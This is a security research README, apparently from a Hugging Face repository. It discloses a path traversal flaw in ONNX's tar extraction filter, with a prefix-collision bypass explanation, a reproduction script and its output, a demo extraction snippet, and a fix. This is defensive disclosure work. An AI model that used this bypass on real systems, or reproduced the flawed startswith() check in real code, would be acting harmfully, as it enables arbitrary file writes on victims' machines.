ONNX Path Traversal PoC (CWE-22)
Security Research Artifact โ This repository contains a benign proof-of-concept demonstrating a path traversal vulnerability in the ONNX library's tarball extraction utilities.
Vulnerability Summary
| Field | Value |
|---|---|
| Type | Path Traversal (CWE-22) |
| Component | onnx.utils._tar_members_filter() in onnx/utils.py |
| Attack Vector | Prefix collision bypass in startswith() path validation |
| Impact | Arbitrary file write when extracting untrusted ONNX model archives |
| Severity | High (CVSS 7.5) |
How It Works
The vulnerable code attempts to prevent directory traversal using:
abs_base = os.path.abspath(base)
abs_member = os.path.abspath(member_path)
if not abs_member.startswith(abs_base):
raise RuntimeError("...")
This is bypassed via prefix collision:
Base directory: /tmp/onnx_models
Malicious member: ../onnx_models_attacker/marker.txt
Resolved path: /tmp/onnx_models_attacker/marker.txt
Check: /tmp/onnx_models_attacker/marker.txt.startswith("/tmp/onnx_models")
Result: True -> BYPASSED!
The file is written to /tmp/onnx_models_attacker/ (outside the intended directory) because the string /tmp/onnx_models_attacker/... starts with /tmp/onnx_models.
Repository Contents
| File | Description |
|---|---|
model.onnx |
Minimal placeholder ONNX model |
malicious_model.tar.gz |
PoC archive containing the prefix collision bypass |
poc_reproduce.py |
Standalone reproduction script |
config.json |
Hugging Face model config |
Reproduction
Prerequisites
pip install onnx
Run the PoC
python poc_reproduce.py
Expected output: ```
ONNX Tarball Path Traversal - Prefix Collision Bypass PoC
[+] Target extraction directory: /tmp/onnx_models_xxxxxx [+] Attacker-controlled directory: /tmp/onnx_models_xxxxxx_attacker [+] Created malicious tar: /tmp/onnx_models_xxxxxx/malicious_model.tar.gz
[TEST 1] Vulnerable _tar_members_filter()
[VULNERABLE] Filter ACCEPTED 2 members! [VULNERABLE] Malicious member would extract to: /tmp/onnx_models_xxxxxx_attacker/PWNED.txt [CONFIRMED] File written outside base_dir! [CONFIRMED] Content: HUNTR_POC_PREFIX_COLLISION_BYPASS
[TEST 2] Fixed _tar_members_filter() with realpath()
[SAFE] Filter correctly blocked: Path traversal detected: ../onnx_models_attacker/PWNED.txt resolves to /tmp/onnx_models_xxxxxx_attacker/PWNED.txt
====================================================================== PoC Complete. The vulnerable filter allows arbitrary file write.
## Manual Verification
```python
import tarfile
import os
import tempfile
# Simulate vulnerable ONNX extraction
def vulnerable_extract(tar_path, base_dir):
with tarfile.open(tar_path, 'r:gz') as tar:
for member in tar:
member_path = os.path.join(base_dir, member.name)
abs_base = os.path.abspath(base_dir)
abs_member = os.path.abspath(member_path)
if not abs_member.startswith(abs_base):
raise RuntimeError(f"Blocked: {member.name}")
print(f"ACCEPTED: {member.name}")
tar.extractall(base_dir)
base = tempfile.mkdtemp()
vulnerable_extract("malicious_model.tar.gz", base)
# Verify file was written outside base
if os.path.exists(base + "_attacker/PWNED.txt"):
print("VULNERABILITY CONFIRMED: File extracted outside intended directory")
Disclosure
This PoC is released for authorized security research and responsible disclosure purposes only. The archive contains no malicious executable code โ only a text marker file demonstrating the traversal capability.
Remediation (for Maintainers)
Replace the vulnerable startswith() check with os.path.realpath() and strict directory containment:
def _tar_members_filter(tar, base):
result = []
base = os.path.realpath(base)
for member in tar:
member_path = os.path.join(base, member.name)
abs_member = os.path.realpath(member_path)
if not (abs_member == base or abs_member.startswith(base + os.sep)):
raise RuntimeError(f"Path traversal: {member.name}")
if member.issym() or member.islnk():
raise RuntimeError(f"Symbolic links not allowed: {member.name}")
result.append(member)
return result
- Downloads last month
- -